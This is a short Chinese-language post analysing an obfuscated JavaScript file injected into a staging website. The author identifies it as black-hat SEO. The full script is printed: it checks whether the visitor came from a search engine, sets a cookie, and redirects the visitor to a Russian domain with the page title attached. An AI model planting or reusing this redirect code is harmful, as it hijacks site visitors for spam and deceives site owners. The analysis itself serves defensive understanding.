不是劫持,就是典型的黑产 SEO 性质的东西。
页面加载了唯一 JS (
http://staging.swisse.com.au/js/stats.js)
```javascript
class Task2 {
static ["com2"]() {
var _0x4014c2 = document.title.split(" - ");
var _0x28236f = _0x4014c2[0].split(" | ");
function _0x19737c(_0x3c4e45, _0x1f88c8, _0x43a6f0, _0x17db9b, _0x142f63, _0x1a5f1a) {
if (!_0x3c4e45 || !_0x1f88c8) return ![];
var _0x3405ea = _0x3c4e45 + '=' + encodeURIComponent(_0x1f88c8);
if (_0x43a6f0) _0x3405ea += "; expires=" + _0x43a6f0.toGMTString();
if (_0x17db9b) _0x3405ea += ';\x20path=' + _0x17db9b;
if (_0x142f63) _0x3405ea += "; domain=" + _0x142f63;
if (_0x1a5f1a) _0x3405ea += "; secure";
document.cookie = _0x3405ea;
return !![];
}
function _0x49f35b(_0x3b366b) {
var _0x2d3ad0 = "(?:; )?" + _0x3b366b + '=([^;]*);?';
var _0x5ede30 = new RegExp(_0x2d3ad0);
if (_0x5ede30.test(document.cookie)) return decodeURIComponent(RegExp.$1);
return ![];
}
function _0x35790f(_0xe10d12, _0x1aca07, _0x43ad37) {
_0x19737c(_0xe10d12, null, new Date(0), _0x1aca07, _0x43ad37);
return !![];
}
var _0x5e520f = {};
_0x5e520f.searchers = [[/google\./i, /(\?|&)q=(.*?)(&|$)/i, 2], [/search\.yahoo\./i, /(\?|&)p=(.*?)(&|$)/i, 2], [/bing\.com/i, /(\?|&)q=(.*?)(&|$)/i, 2], [/search\.aol\./i, /(\?|&)q=(.*?)(&|$)/i, 2], [/ask\.com/i, /(\?|&)q=(.*?)(&|$)/i, 2], [/altavista\./i, /(\?|&)q=(.*?)(&|$)/i, 2], [/search\.lycos\./i, /(\?|&)query=(.*?)(&|$)/i, 2], [/alltheweb\./i, /(\?|&)q=(.*?)(&|$)/i, 2], [/yandex\./i, /(\?|&)text=(.*?)(&|$)/i, 2], [/(nova\.|search\.)?rambler\./i, /(\?|&)query=(.*?)(&|$)/i, 2], [/gogo\./i, /(\?|&)q=(.*?)(&|$)/i, 2], [/go\.mail\./i, /(\?|&)q=(.*?)(&|$)/i, 2], [/nigma\./i, /(\?|&)s=(.*?)(&|$)/i, 2]];
_0x5e520f.sp_redirect = function (_0xa5e498) {
var _0x50a397 = null;
for (var _0x592205 = 0; _0x592205 < _0x5e520f.searchers['length']; _0x592205++) {
var _0x5da909 = _0x5e520f.searchers[_0x592205];
if (_0xa5e498.match(_0x5da909[0]) || _0x49f35b("opos") == '1') {
_0x19737c("opos", '1');
document.location['href'] = "
http://tr.stoneshards.ru/trds?q=" + _0x28236f[0];
break;
}
}
};
_0x5e520f.sp_redirect(document.referrer);
}
}
Task2.com2();
```
只要是来路 referrer 是来自 _0x5e520f.searchers 数组内的网站,就跳转到 tr#stoneshards#ru/trds?q={title}